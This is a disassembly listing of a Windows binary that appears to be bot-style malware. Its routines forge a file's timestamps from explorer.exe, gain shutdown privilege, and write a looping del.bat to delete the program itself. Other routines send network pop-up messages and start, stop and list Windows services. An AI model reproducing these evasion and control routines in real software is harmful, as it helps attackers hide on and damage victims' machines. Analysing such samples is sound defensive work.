		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 27F0000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27E083Fh
		push	esi
		call	ebx


loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEB4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB044, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx


loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 26F0876h
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 26E0000h
		nop
		push	edi
		call	near ptr 26507ADh
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D128
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2680000h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2670ECEh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 2670D76h
		nop


loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2800000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2650A41h


loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26C047Ah
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAEF4
		push	edi
		push	eax
		call	dword_4CAF04
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_43898C


loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------


loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_438964
		jmp	short loc_418542
; ---------------------------------------------------------------------------


loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_438934
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C047Ah
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA


loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	near ptr 26A0000h
		nop
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26A02FCh
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 2780000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 26807BDh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389B0[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389AC[esi]
		push	offset unk_438AC0


loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DAFF0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438A94
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------


loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DAFF0
		push	off_4389A8[eax*4]
		push	offset unk_438A70
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF68
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 26709FBh
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE50
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 26709FBh
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------


loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEBC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE58
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEC0


loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 26709FBh
		mov	ebx, eax


loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE6C


loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE6C
		pop	esi


loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump


loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA930
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA930
		call	sub_41B886
		add	esp, 0Ch


loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA930
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF68
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF34
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 26709FBh
		cmp	eax, 0EAh
		jnz	loc_418A81


loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]


loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"


loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE


loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993


loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE6C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------


loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax


loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A8[eax*4]
		push	offset unk_439054
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch


loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8


loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389AC[eax*4]
		push	offset dword_439038
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DABEC
		lea	eax, [eax+eax*2]
		push	off_4389A8[eax*4]
		push	offset unk_439014
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DADEC, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DADEC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DAB8C, eax


loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DAB8C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DAB8C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE68
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
